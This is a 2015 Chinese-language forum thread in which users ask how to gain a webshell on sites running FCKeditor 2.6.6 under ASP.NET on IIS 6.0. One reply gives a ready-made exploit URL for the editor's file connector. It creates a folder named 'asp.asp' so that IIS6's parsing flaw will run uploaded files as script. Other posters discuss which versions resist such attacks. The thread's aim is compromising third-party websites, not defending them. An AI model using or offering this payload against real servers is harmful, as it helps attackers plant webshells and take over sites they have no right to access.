请问关于FCK 2.6.6版本有漏洞么？

miner · 发表于 2015-5-25 09:05:56

FCKeditor编辑器版本2.6.6，执行脚本为ASP.NET，Web服务器IIS6.0存在解析漏洞，有什么办法可以GetShell么？

凡火火。 · 发表于 2015-5-25 18:50:13

exp

[AppleScript] 纯文本查看 复制代码

http://xxxx.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx?Command=CreateFolder&Type=File&CurrentFolder=%2Fasp.asp&NewFolderName=Test%20Folder

直接建文件夹我叫雷锋、

miner · 发表于 2015-5-25 22:50:47

凡火火。发表于 2015-5-25 18:50
exp[mw_shl_code=applescript,true]http://xxxx.com/fckeditor/editor/filemanager/connectors/aspx/connec ...

先谢谢你的回答，这个我在网上查到过，测试没有成功......

wuyan · 发表于 2015-5-26 22:23:50

楼主的问题，我也遇到过。但是没有突破成功

miner · 发表于 2015-5-26 23:42:46

wuyan 发表于 2015-5-26 22:23
楼主的问题，我也遇到过。但是没有突破成功

我fckeditor也遇到了很多，一般2.6.4版本以上就很难突破，想看看论坛中有没有大神审计过发现新漏洞

请问关于FCK 2.6.6版本有漏洞么？

点评

点评

指导单位

旗下站点

联系我们